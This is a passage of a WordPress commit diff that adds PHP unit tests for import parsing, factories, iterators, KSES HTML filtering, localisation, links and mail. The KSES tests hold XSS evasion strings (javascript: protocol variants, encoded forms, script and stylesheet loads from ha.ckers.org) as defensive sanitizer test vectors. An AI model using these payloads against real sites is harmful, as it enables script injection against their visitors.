+       /**
+        * Test the WXR parser's ability to correctly retrieve content from CDATA
+        * sections that contain escaped closing tags ("]]>" -> "]]]]><![CDATA[>").
+        *
+        * @link http://core.trac.wordpress.org/ticket/15203
+        */
+       function test_escaped_cdata_closing_sequence() {
+               $file = DIR_TESTDATA . '/export/crazy-cdata-escaped.xml';
+
+               foreach( array( 'WXR_Parser_SimpleXML', 'WXR_Parser_XML', 'WXR_Parser_Regex' ) as $p ) {
+                       $message = 'Parser ' . $p;
+                       $parser = new $p;
+                       $result = $parser->parse( $file );
+
+                       $post = $result['posts'][0];
+                       $this->assertEquals( 'Content with nested <![CDATA[ tags ]]> :)', $post['post_content'], $message );
+                       foreach ( $post['postmeta'] as $meta ) {
+                               switch ( $meta['key'] ) {
+                                       case 'Plain string': $value = 'Foo'; break;
+                                       case 'Closing CDATA': $value = ']]>'; break;
+                                       case 'Alot of CDATA': $value = 'This has <![CDATA[ opening and ]]> closing <![CDATA[ tags like this: ]]>'; break;
+                                       default: $this->fail( 'Unknown postmeta (' . $meta['key'] . ') was parsed out by' . $p );
+                               }
+                               $this->assertEquals( $value, $meta['value'], $message );
+                       }
+               }
+       }
+
+       /**
+        * Ensure that the regex parser can still parse invalid CDATA blocks (i.e. those
+        * with "]]>" unescaped within a CDATA section).
+        */
+       function test_unescaped_cdata_closing_sequence() {
+               $file = DIR_TESTDATA . '/export/crazy-cdata.xml';
+
+               $parser = new WXR_Parser_Regex;
+               $result = $parser->parse( $file );
+
+               $post = $result['posts'][0];
+               $this->assertEquals( 'Content with nested <![CDATA[ tags ]]> :)', $post['post_content'] );
+               foreach ( $post['postmeta'] as $meta ) {
+                       switch ( $meta['key'] ) {
+                               case 'Plain string': $value = 'Foo'; break;
+                               case 'Closing CDATA': $value = ']]>'; break;
+                               case 'Alot of CDATA': $value = 'This has <![CDATA[ opening and ]]> closing <![CDATA[ tags like this: ]]>'; break;
+                               default: $this->fail( 'Unknown postmeta (' . $meta['key'] . ') was parsed out by' . $p );
+                       }
+                       $this->assertEquals( $value, $meta['value'] );
+               }
+       }
+
+       // tags in CDATA #11574
+}
</ins></span></pre></div>
<a id="trunkteststestsimportpostmetaphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/import/postmeta.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/import/postmeta.php                            (rev 0)
+++ trunk/tests/tests/import/postmeta.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,94 @@
</span><ins>+<?php
+
+/**
+ * @group import
+ */
+class Tests_Import_Postmeta extends WP_Import_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+
+               if ( ! defined( 'WP_IMPORTING' ) )
+                       define( 'WP_IMPORTING', true );
+
+               if ( ! defined( 'WP_LOAD_IMPORTERS' ) )
+                       define( 'WP_LOAD_IMPORTERS', true );
+
+               require_once DIR_TESTDATA . '/plugins/wordpress-importer/wordpress-importer.php';
+       }
+
+       function test_serialized_postmeta_no_cdata() {
+               $this->_import_wp( DIR_TESTDATA . '/export/test-serialized-postmeta-no-cdata.xml', array( 'johncoswell' => 'john' ) );
+               $expected['special_post_title'] = 'A special title';
+               $expected['is_calendar'] = '';
+               $this->assertEquals( $expected, get_post_meta( 122, 'post-options', true ) );
+       }
+
+       function test_utw_postmeta() {
+               $this->_import_wp( DIR_TESTDATA . '/export/test-utw-post-meta-import.xml', array( 'johncoswell' => 'john' ) );
+
+               $classy = new StdClass();
+               $classy->tag =  "album";
+               $expected[] = $classy;
+               $classy = new StdClass();
+               $classy->tag =  "apple";
+               $expected[] = $classy;
+               $classy = new StdClass();
+               $classy->tag =  "art";
+               $expected[] = $classy;
+               $classy = new StdClass();
+               $classy->tag =  "artwork";
+               $expected[] = $classy;
+               $classy = new StdClass();
+               $classy->tag =  "dead-tracks";
+               $expected[] = $classy;
+               $classy = new StdClass();
+               $classy->tag =  "ipod";
+               $expected[] = $classy;
+               $classy = new StdClass();
+               $classy->tag =  "itunes";
+               $expected[] = $classy;
+               $classy = new StdClass();
+               $classy->tag =  "javascript";
+               $expected[] = $classy;
+               $classy = new StdClass();
+               $classy->tag =  "lyrics";
+               $expected[] = $classy;
+               $classy = new StdClass();
+               $classy->tag =  "script";
+               $expected[] = $classy;
+               $classy = new StdClass();
+               $classy->tag =  "tracks";
+               $expected[] = $classy;
+               $classy = new StdClass();
+               $classy->tag =  "windows-scripting-host";
+               $expected[] = $classy;
+               $classy = new StdClass();
+               $classy->tag =  "wscript";
+               $expected[] = $classy;
+
+               $this->assertEquals( $expected, get_post_meta( 150, 'test', true ) );
+       }
+
+       /**
+        * @ticket 9633
+        */
+       function test_serialized_postmeta_with_cdata() {
+               $this->_import_wp( DIR_TESTDATA . '/export/test-serialized-postmeta-with-cdata.xml', array( 'johncoswell' => 'johncoswell' ) );
+
+               //HTML in the CDATA should work with old WordPress version
+               $this->assertEquals( '<pre>some html</pre>', get_post_meta( 10, 'contains-html', true ) );
+               //Serialised will only work with 3.0 onwards.
+               $expected["special_post_title"] = "A special title";
+               $expected["is_calendar"] = "";
+               $this->assertEquals( $expected, get_post_meta( 10, 'post-options', true ) );
+       }
+
+       /**
+        * @ticket 11574
+        */
+       function test_serialized_postmeta_with_evil_stuff_in_cdata() {
+               $this->_import_wp( DIR_TESTDATA . '/export/test-serialized-postmeta-with-cdata.xml', array( 'johncoswell' => 'johncoswell' ) );
+               // evil content in the CDATA
+               $this->assertEquals( '<wp:meta_value>evil</wp:meta_value>', get_post_meta( 10, 'evil', true ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsincludesfactoryphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/includes/factory.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/includes/factory.php                           (rev 0)
+++ trunk/tests/tests/includes/factory.php      2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,31 @@
</span><ins>+<?php
+
+class TestFactoryFor extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               $this->category_factory = new WP_UnitTest_Factory_For_Term( null, 'category' );
+       }
+
+       function test_create_creates_a_category() {
+               $id = $this->category_factory->create();
+               $this->assertTrue( (bool)get_term_by( 'id', $id, 'category' ) );
+       }
+
+       function test_get_object_by_id_gets_an_object() {
+               $id = $this->category_factory->create();
+               $this->assertTrue( (bool)$this->category_factory->get_object_by_id( $id ) );
+       }
+
+       function test_get_object_by_id_gets_an_object_with_the_same_name() {
+               $id = $this->category_factory->create( array( 'name' => 'Boo') );
+               $object = $this->category_factory->get_object_by_id( $id );
+               $this->assertEquals( 'Boo', $object->name );
+       }
+
+       function test_the_taxonomy_argument_overrules_the_factory_taxonomy() {
+               $term_factory = new WP_UnitTest_Factory_For_term( null, 'category' );
+               $id = $term_factory->create( array( 'taxonomy' => 'post_tag' ) );
+               $term = get_term( $id, 'post_tag' );
+               $this->assertEquals( $id, $term->term_id );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsiteratorsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/iterators.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/iterators.php                          (rev 0)
+++ trunk/tests/tests/iterators.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,45 @@
</span><ins>+<?php
+
+/**
+ * @ticket 22435
+ */
+class Test_WP_Post_IDs_Iterator extends WP_UnitTestCase {
+       function test_create() {
+               new WP_Post_IDs_Iterator( array( 1, 2, 3 ) );
+       }
+
+       function test_no_posts() {
+               $this->assertIteratorReturnsSamePostIDs( array() );
+       }
+
+       function test_less_ids_than_limit() {
+               $post_id_0 = $this->factory->post->create();
+               $post_id_1 = $this->factory->post->create();
+               $this->assertIteratorReturnsSamePostIDs( array( $post_id_0, $post_id_1 ), 10 );
+       }
+
+       function test_ids_exactly_as_limit() {
+               $post_id_0 = $this->factory->post->create();
+               $post_id_1 = $this->factory->post->create();
+               $this->assertIteratorReturnsSamePostIDs( array( $post_id_0, $post_id_1 ), 2 );
+       }
+
+       function test_more_ids_than_limit() {
+               $post_id_0 = $this->factory->post->create();
+               $post_id_1 = $this->factory->post->create();
+               $post_id_2 = $this->factory->post->create();
+               $this->assertIteratorReturnsSamePostIDs( array( $post_id_0, $post_id_1, $post_id_2 ), 2 );
+       }
+
+       function test_ids_exactly_twice_more_than_limit() {
+               $post_id_0 = $this->factory->post->create();
+               $post_id_1 = $this->factory->post->create();
+               $post_id_2 = $this->factory->post->create();
+               $post_id_3 = $this->factory->post->create();
+               $this->assertIteratorReturnsSamePostIDs( array( $post_id_0, $post_id_1, $post_id_2, $post_id_3 ), 2 );
+       }
+
+       private function assertIteratorReturnsSamePostIDs( $post_ids, $limit = 2 ) {
+               $this->assertEquals( $post_ids, wp_list_pluck( iterator_to_array( new WP_Post_IDs_Iterator( $post_ids, $limit ) ), 'ID' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsksesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/kses.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/kses.php                               (rev 0)
+++ trunk/tests/tests/kses.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,362 @@
</span><ins>+<?php
+/**
+ * Some simple test cases for KSES post content filtering
+ *
+ * @group formatting
+ * @group kses
+ */
+class Tests_Kses extends WP_UnitTestCase {
+
+       /**
+        * @ticket 20210
+        */
+       function test_wp_filter_post_kses_address() {
+               global $allowedposttags;
+
+               $attributes = array(
+                       'class' => 'classname',
+                       'id' => 'id',
+                       'style' => 'color: red;',
+                       'style' => 'color: red',
+                       'style' => 'color: red; text-align:center',
+                       'style' => 'color: red; text-align:center;',
+                       'title' => 'title',
+               );
+
+               foreach ( $attributes as $name => $value ) {
+                       $string = "<address $name='$value'>1 WordPress Avenue, The Internet.</address>";
+                       $expect_string = "<address $name='" . str_replace( '; ', ';', trim( $value, ';' ) ) . "'>1 WordPress Avenue, The Internet.</address>";
+                       $this->assertEquals( $expect_string, wp_kses( $string, $allowedposttags ) );
+               }
+       }
+
+       /**
+        * @ticket 20210
+        */
+       function test_wp_filter_post_kses_a() {
+               global $allowedposttags;
+
+               $attributes = array(
+                       'class' => 'classname',
+                       'id' => 'id',
+                       'style' => 'color: red;',
+                       'title' => 'title',
+                       'href' => 'http://example.com',
+                       'rel' => 'related',
+                       'rev' => 'revision',
+                       'name' => 'name',
+                       'target' => '_blank',
+               );
+
+               foreach ( $attributes as $name => $value ) {
+                       $string = "<a $name='$value'>I link this</a>";
+                       $expect_string = "<a $name='" . trim( $value, ';' ) . "'>I link this</a>";
+                       $this->assertEquals( $expect_string, wp_kses( $string, $allowedposttags ) );
+               }
+       }
+
+       /**
+        * @ticket 20210
+        */
+       function test_wp_filter_post_kses_abbr() {
+               global $allowedposttags;
+
+               $attributes = array(
+                       'class' => 'classname',
+                       'id' => 'id',
+                       'style' => 'color: red;',
+                       'title' => 'title',
+               );
+
+               foreach ( $attributes as $name => $value ) {
+                       $string = "<abbr $name='$value'>WP</abbr>";
+                       $expect_string = "<abbr $name='" . trim( $value, ';' ) . "'>WP</abbr>";
+                       $this->assertEquals( $expect_string, wp_kses( $string, $allowedposttags ) );
+               }
+       }
+
+       function test_feed_links() {
+               global $allowedposttags;
+
+               $content = <<<EOF
+<a href="feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:javascript:feed:alert(1)">CLICK ME</a>
+<a href="feed:feed:javascript:alert(1)">CLICK ME</a>
+<a href="javascript:feed:alert(1)">CLICK ME</a>
+<a href="javascript:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:feed:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:feed:feed:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:feed:feed:feed:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:javascript:feed:javascript:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:javascript:feed:javascript:feed:javascript:feed:javascript:feed:javascript:alert(1)">CLICK ME</a>
+<a href="feed:feed:feed:http:alert(1)">CLICK ME</a>
+EOF;
+
+               $expected = <<<EOF
+<a href="feed:alert(1)">CLICK ME</a>
+<a href="feed:feed:alert(1)">CLICK ME</a>
+<a href="feed:feed:alert(1)">CLICK ME</a>
+<a href="feed:alert(1)">CLICK ME</a>
+<a href="feed:alert(1)">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+<a href="">CLICK ME</a>
+EOF;
+
+               $this->assertEquals( $expected, wp_kses( $content, $allowedposttags ) );
+       }
+
+       function test_wp_kses_bad_protocol() {
+               $bad = array(
+                       'dummy:alert(1)',
+                       'javascript:alert(1)',
+                       'JaVaScRiPt:alert(1)',
+                       'javascript:alert(1);',
+                       'javascript&#58;alert(1);',
+                       'javascript&#0058;alert(1);',
+                       'javascript&#0000058alert(1);',
+                       'javascript&#x3A;alert(1);',
+                       'javascript&#X3A;alert(1);',
+                       'javascript&#X3a;alert(1);',
+                       'javascript&#x3a;alert(1);',
+                       'javascript&#x003a;alert(1);',
+                       '&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29',
+                       'jav    ascript:alert(1);',
+                       'jav&#x09;ascript:alert(1);',
+                       'jav&#x0A;ascript:alert(1);',
+                       'jav&#x0D;ascript:alert(1);',
+                       ' &#14;  javascript:alert(1);',
+                       'javascript:javascript:alert(1);',
+                       'javascript&#58;javascript:alert(1);',
+                       'javascript&#0000058javascript:alert(1);',
+                       'javascript:javascript&#58;alert(1);',
+                       'javascript:javascript&#0000058alert(1);',
+                       'javascript&#0000058alert(1)//?:',
+                       'feed:javascript:alert(1)',
+                       'feed:javascript:feed:javascript:feed:javascript:alert(1)',
+               );
+               foreach ( $bad as $k => $x ) {
+                       $result = wp_kses_bad_protocol( wp_kses_normalize_entities( $x ), wp_allowed_protocols() );
+                       if ( ! empty( $result ) && $result != 'alert(1);' && $result != 'alert(1)' ) {
+                               switch ( $k ) {
+                                       case 6: $this->assertEquals( 'javascript&amp;#0000058alert(1);', $result ); break;
+                                       case 12:
+                                               $this->assertEquals( str_replace( '&', '&amp;', $x ), $result );
+                                               break;
+                                       case 22: $this->assertEquals( 'javascript&amp;#0000058alert(1);', $result ); break;
+                                       case 23: $this->assertEquals( 'javascript&amp;#0000058alert(1)//?:', $result ); break;
+                                       case 24: $this->assertEquals( 'feed:alert(1)', $result ); break;
+                                       default: $this->fail( "wp_kses_bad_protocol failed on $x. Result: $result" );
+                               }
+                       }
+               }
+
+               $safe = array(
+                       'dummy:alert(1)',
+                       'HTTP://example.org/',
+                       'http://example.org/',
+                       'http&#58;//example.org/',
+                       'http&#x3A;//example.org/',
+                       'https://example.org',
+                       'http://example.org/wp-admin/post.php?post=2&amp;action=edit',
+                       'http://example.org/index.php?test=&#039;blah&#039;',
+               );
+               foreach ( $safe as $x ) {
+                       $result = wp_kses_bad_protocol( wp_kses_normalize_entities( $x ), array( 'http', 'https', 'dummy' ) );
+                       if ( $result != $x && $result != 'http://example.org/' )
+                               $this->fail( "wp_kses_bad_protocol incorrectly blocked $x" );
+               }
+       }
+
+       public function test_hackers_attacks() {
+               $xss = simplexml_load_file( DIR_TESTDATA . '/formatting/xssAttacks.xml' );
+               foreach ( $xss->attack as $attack ) {
+                       if ( in_array( $attack->name, array( 'IMG Embedded commands 2', 'US-ASCII encoding', 'OBJECT w/Flash 2', 'Character Encoding Example' ) ) )
+                               continue;
+
+                       $code = (string) $attack->code;
+
+                       if ( $code == 'See Below' )
+                               continue;
+
+                       if ( substr( $code, 0, 4 ) == 'perl' ) {
+                               $pos = strpos( $code, '"' ) + 1;
+                               $code = substr( $code, $pos, strrpos($code, '"') - $pos );
+                               $code = str_replace( '\0', "\0", $code );
+                       }
+
+                       $result = trim( wp_kses_data( $code ) );
+
+                       if ( $result == '' || $result == 'XSS' || $result == 'alert("XSS");' || $result == "alert('XSS');" )
+                               continue;
+
+                       switch ( $attack->name ) {
+                               case 'XSS Locator':
+                                       $this->assertEquals('\';alert(String.fromCharCode(88,83,83))//\\\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\\";alert(String.fromCharCode(88,83,83))//--&gt;"&gt;\'&gt;alert(String.fromCharCode(88,83,83))=', $result);
+                                       break;
+                               case 'XSS Quick Test':
+                                       $this->assertEquals('\'\';!--"=', $result);
+                                       break;
+                               case 'SCRIPT w/Alert()':
+                                       $this->assertEquals( "alert('XSS')", $result );
+                                       break;
+                               case 'SCRIPT w/Char Code':
+                                       $this->assertEquals('alert(String.fromCharCode(88,83,83))', $result);
+                                       break;
+                               case 'IMG STYLE w/expression':
+                                       $this->assertEquals('exp/*', $result);
+                                       break;
+                               case 'List-style-image':
+                                       $this->assertEquals('li {list-style-image: url("javascript:alert(\'XSS\')");}XSS', $result);
+                                       break;
+                               case 'STYLE':
+                                       $this->assertEquals( "alert('XSS');", $result);
+                                       break;
+                               case 'STYLE w/background-image':
+                                       $this->assertEquals('.XSS{background-image:url("javascript:alert(\'XSS\')");}<A></A>', $result);
+                                       break;
+                               case 'STYLE w/background':
+                                       $this->assertEquals('BODY{background:url("javascript:alert(\'XSS\')")}', $result);
+                                       break;
+                               case 'Remote Stylesheet 2':
+                                       $this->assertEquals( "@import'http://ha.ckers.org/xss.css';", $result );
+                                       break;
+                               case 'Remote Stylesheet 3':
+                                       $this->assertEquals( '&lt;META HTTP-EQUIV=&quot;Link&quot; Content=&quot;; REL=stylesheet"&gt;', $result );
+                                       break;
+                               case 'Remote Stylesheet 4':
+                                       $this->assertEquals('BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}', $result);
+                                       break;
+                               case 'XML data island w/CDATA':
+                                       $this->assertEquals( "&lt;![CDATA[]]&gt;", $result );
+                                       break;
+                               case 'XML data island w/comment':
+                                       $this->assertEquals( "<I><B>&lt;IMG SRC=&quot;javas<!-- -->cript:alert('XSS')\"&gt;</B></I>", $result );
+                                       break;
+                               case 'XML HTML+TIME':
+                                       $this->assertEquals( '&lt;t:set attributeName=&quot;innerHTML&quot; to=&quot;XSSalert(\'XSS\')"&gt;', $result );
+                                       break;
+                               case 'Commented-out Block':
+                                       $this->assertEquals( "<!--[if gte IE 4]&gt;-->\nalert('XSS');", $result );
+                                       break;
+                               case 'Cookie Manipulation':
+                                       $this->assertEquals( '&lt;META HTTP-EQUIV=&quot;Set-Cookie&quot; Content=&quot;USERID=alert(\'XSS\')"&gt;', $result );
+                                       break;
+                               case 'SSI':
+                                       $this->assertEquals( '&lt;!--#exec cmd=&quot;/bin/echo &#039;<!--#exec cmd="/bin/echo \'=http://ha.ckers.org/xss.js&gt;\'"-->', $result );
+                                       break;
+                               case 'PHP':
+                                       $this->assertEquals( '&lt;? echo(&#039;alert("XSS")\'); ?&gt;', $result );
+                                       break;
+                               case 'UTF-7 Encoding':
+                                       $this->assertEquals( '+ADw-SCRIPT+AD4-alert(\'XSS\');+ADw-/SCRIPT+AD4-', $result );
+                                       break;
+                               case 'Escaping JavaScript escapes':
+                                       $this->assertEquals('\";alert(\'XSS\');//', $result);
+                                       break;
+                               case 'STYLE w/broken up JavaScript':
+                                       $this->assertEquals( '@im\port\'\ja\vasc\ript:alert("XSS")\';', $result );
+                                       break;
+                               case 'Null Chars 2':
+                                       $this->assertEquals( '&amp;alert("XSS")', $result );
+                                       break;
+                               case 'No Closing Script Tag':
+                                       $this->assertEquals( '&lt;SCRIPT SRC=http://ha.ckers.org/xss.js', $result );
+                                       break;
+                               case 'Half-Open HTML/JavaScript':
+                                       $this->assertEquals( '&lt;IMG SRC=&quot;javascript:alert(&#039;XSS&#039;)&quot;', $result );
+                                       break;
+                               case 'Double open angle brackets':
+                                       $this->assertEquals( '&lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;', $result );
+                                       break;
+                               case 'Extraneous Open Brackets':
+                                       $this->assertEquals( '&lt;alert("XSS");//&lt;', $result );
+                                       break;
+                               case 'Malformed IMG Tags':
+                                       $this->assertEquals('alert("XSS")"&gt;', $result);
+                                       break;
+                               case 'No Quotes/Semicolons':
+                                       $this->assertEquals( "a=/XSS/\nalert(a.source)", $result );
+                                       break;
+                               case 'Evade Regex Filter 1':
+                                       $this->assertEquals( '" SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+                                       break;
+                               case 'Evade Regex Filter 4':
+                                       $this->assertEquals( '\'" SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+                                       break;
+                               case 'Evade Regex Filter 5':
+                                       $this->assertEquals( '` SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+                                       break;
+                               case 'Filter Evasion 1':
+                                       $this->assertEquals( 'document.write("&lt;SCRI&quot;);PT SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+                                       break;
+                               case 'Filter Evasion 2':
+                                       $this->assertEquals( '\'&gt;" SRC="http://ha.ckers.org/xss.js"&gt;', $result );
+                                       break;
+                               default:
+                                       $this->fail( 'KSES failed on ' . $attack->name . ': ' . $result );
+                       }
+               }
+       }
+
+       function _wp_kses_allowed_html_filter( $html, $context ) {
+               if ( 'post' == $context )
+                       return array( 'a' => array( 'href' => true ) );
+               else
+                       return array( 'a' => array( 'href' => false ) );
+       }
+
+       /**
+        * @ticket 20210
+        */
+       public function test_wp_kses_allowed_html() {
+               global $allowedposttags, $allowedtags, $allowedentitynames;
+
+               $this->assertEquals( $allowedposttags, wp_kses_allowed_html( 'post' ) );
+
+               $tags = wp_kses_allowed_html( 'post' ) ;
+
+               foreach ( $tags as $tag ) {
+                       $this->assertTrue( $tag['class'] );
+                       $this->assertTrue( $tag['id'] );
+                       $this->assertTrue( $tag['style'] );
+                       $this->assertTrue( $tag['title'] );
+               }
+
+               $this->assertEquals( $allowedtags, wp_kses_allowed_html( 'data' ) );
+               $this->assertEquals( $allowedtags, wp_kses_allowed_html( '' ) );
+               $this->assertEquals( $allowedtags, wp_kses_allowed_html() );
+
+               $tags = wp_kses_allowed_html( 'user_description' );
+               $this->assertTrue( $tags['a']['rel'] );
+
+               $tags = wp_kses_allowed_html();
+               $this->assertFalse( isset( $tags['a']['rel'] ) );
+
+               $this->assertEquals( array(), wp_kses_allowed_html( 'strip' ) );
+
+               $custom_tags = array(
+                       'a' => array(
+                               'href' => true,
+                               'rel' => true,
+                               'rev' => true,
+                               'name' => true,
+                               'target' => true,
+                       ),
+               );
+
+               $this->assertEquals( $custom_tags, wp_kses_allowed_html( $custom_tags ) );
+
+               add_filter( 'wp_kses_allowed_html', array( $this, '_wp_kses_allowed_html_filter' ), 10, 2 );
+
+               $this->assertEquals( array( 'a' => array( 'href' => true ) ), wp_kses_allowed_html( 'post' ) );
+               $this->assertEquals( array( 'a' => array( 'href' => false ) ), wp_kses_allowed_html( 'data' ) );
+
+               remove_filter( 'wp_kses_allowed_html', array( $this, '_wp_kses_allowed_html_filter' ) );
+               $this->assertEquals( $allowedposttags, wp_kses_allowed_html( 'post' ) );
+               $this->assertEquals( $allowedtags, wp_kses_allowed_html( 'data' ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsl10nphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/l10n.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/l10n.php                               (rev 0)
+++ trunk/tests/tests/l10n.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,29 @@
</span><ins>+<?php
+
+/**
+ * @group l10n
+ * @group i18n
+ */
+class Tests_L10n extends WP_UnitTestCase {
+
+       function test_load_unload_textdomain() {
+               $this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) );
+               $this->assertFalse( unload_textdomain( 'wp-tests-domain' ) );
+               $this->assertTrue( load_textdomain( 'wp-tests-domain', DIR_TESTDATA . '/wpcom-themes/p2/languages/es_ES.mo' ) );
+               $this->assertTrue( is_textdomain_loaded( 'wp-tests-domain' ) );
+               $this->assertTrue( unload_textdomain( 'wp-tests-domain' ) );
+               $this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) );
+       }
+
+       /**
+        * @ticket 21319
+        */
+       function test_is_textdomain_loaded_for_no_translations() {
+               $this->assertFalse( load_textdomain( 'wp-tests-domain', DIR_TESTDATA . '/non-existent-file' ) );
+               $this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) );
+               $this->assertInstanceOf( 'NOOP_Translations', get_translations_for_domain( 'wp-tests-domain' ) );
+               // Ensure that we don't confuse NOOP_Translations to be a loaded text domain.
+               $this->assertFalse( is_textdomain_loaded( 'wp-tests-domain' ) );
+               $this->assertFalse( unload_textdomain( 'wp-tests-domain' ) );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestslinkphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/link.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/link.php                               (rev 0)
+++ trunk/tests/tests/link.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,30 @@
</span><ins>+<?php
+/**
+ * @group link
+ */
+class Tests_Link_Functions extends WP_UnitTestCase {
+
+       function _get_pagenum_link_cb( $url ) {
+               return $url . '/WooHoo';
+       }
+
+       /**
+        * @ticket 8847
+        */
+       function test_get_pagenum_link_case_insensitivity() {
+               $old_req_uri = $_SERVER['REQUEST_URI'];
+
+               global $wp_rewrite;
+               $wp_rewrite->set_permalink_structure('/%year%/%monthnum%/%day%/%postname%/');
+               $wp_rewrite->flush_rules();
+
+               add_filter( 'home_url', array( $this, '_get_pagenum_link_cb' ) );
+               $_SERVER['REQUEST_URI'] = '/woohoo';
+               $paged = get_pagenum_link( 2 );
+
+               remove_filter( 'home_url', array( $this, '_get_pagenum_link_cb' ) );
+               $this->assertEquals( $paged, home_url( '/WooHoo/page/2/' ) );
+
+               $_SERVER['REQUEST_URI'] = $old_req_uri;
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsmailphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/mail.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/mail.php                               (rev 0)
+++ trunk/tests/tests/mail.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,226 @@
</span><ins>+<?php
+
+/**
+ * @group pluggable
+ * @group mail
+ */
+class Tests_Mail extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+       }
+
+       function test_wp_mail_custom_boundaries() {
+               $to = 'user@example.com';
+               $subject = 'Test email with custom boundaries';
+               $headers  = '' . "\n";
+               $headers .= 'MIME-Version: 1.0' . "\n";
+               $headers .= 'Content-Type: multipart/mixed; boundary="----=_Part_4892_25692638.1192452070893"' . "\n";
+               $headers .= "\n";
+               $body  = "\n";
+               $body .= '------=_Part_4892_25692638.1192452070893' . "\n";
+               $body .= 'Content-Type: text/plain; charset=ISO-8859-1' . "\n";
+               $body .= 'Content-Transfer-Encoding: 7bit' . "\n";
+               $body .= 'Content-Disposition: inline' . "\n";
+               $body .= "\n";
+               $body .= 'Here is a message with an attachment of a binary file.' . "\n";
+               $body .= "\n";
+               $body .= '------=_Part_4892_25692638.1192452070893' . "\n";
+               $body .= 'Content-Type: image/x-icon; name=favicon.ico' . "\n";
+               $body .= 'Content-Transfer-Encoding: base64' . "\n";
+               $body .= 'Content-Disposition: attachment; filename=favicon.ico' . "\n";
+               $body .= "\n";
+               $body .= 'AAABAAEAEBAAAAAAAABoBQAAFgAAACgAAAAQAAAAIAAAAAEACAAAAAAAAAAAAAAAAAAAAAAAAAAA' . "\n";
+               $body .= 'AAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA' . "\n";
+               $body .= '/wD/AP//AAD///8A//3/AP39/wD6/f8A+P3/AP/8/wD9/P8A+vz/AP/7/wD/+v8A/vr/APz6/wD4' . "\n";
+               $body .= '+v8A+/n/APP5/wD/+P8A+vj/AO/4/wDm+P8A2fj/AP/3/wD/9v8A9vb/AP/1/wD69f8A9PT/AO30' . "\n";
+               $body .= '/wD/8/8A//L/APnx/wD28P8A///+APj//gD2//4A9P/+AOP//gD//f4A6f/9AP///AD2//wA8//8' . "\n";
+               $body .= 'APf9/AD///sA/v/7AOD/+wD/+vsA9/X7APr/+gDv/voA///5AP/9+QD/+/kA+e35AP//+ADm//gA' . "\n";
+               $body .= '4f/4AP/9+AD0+/gA///3APv/9wDz//cA8f/3AO3/9wD/8fcA//32AP369gDr+vYA8f/1AOv/9QD/' . "\n";
+               $body .= '+/UA///0APP/9ADq//QA///zAP/18wD///IA/fzyAP//8QD///AA9//wAPjw8AD//+8A8//vAP//' . "\n";
+               $body .= '7gD9/+4A9v/uAP/u7gD//+0A9v/tAP7/6wD/+eoA///pAP//6AD2/+gA//nnAP/45wD38eYA/fbl' . "\n";
+               $body .= 'AP/25AD29uQA7N/hAPzm4AD/690AEhjdAAAa3AAaJdsA//LXAC8g1gANH9YA+dnTAP/n0gDh5dIA' . "\n";
+               $body .= 'DyjSABkk0gAdH9EABxDRAP/l0AAAJs4AGRTOAPPczQAAKs0AIi7MAA4UywD56soA8tPKANTSygD/' . "\n";
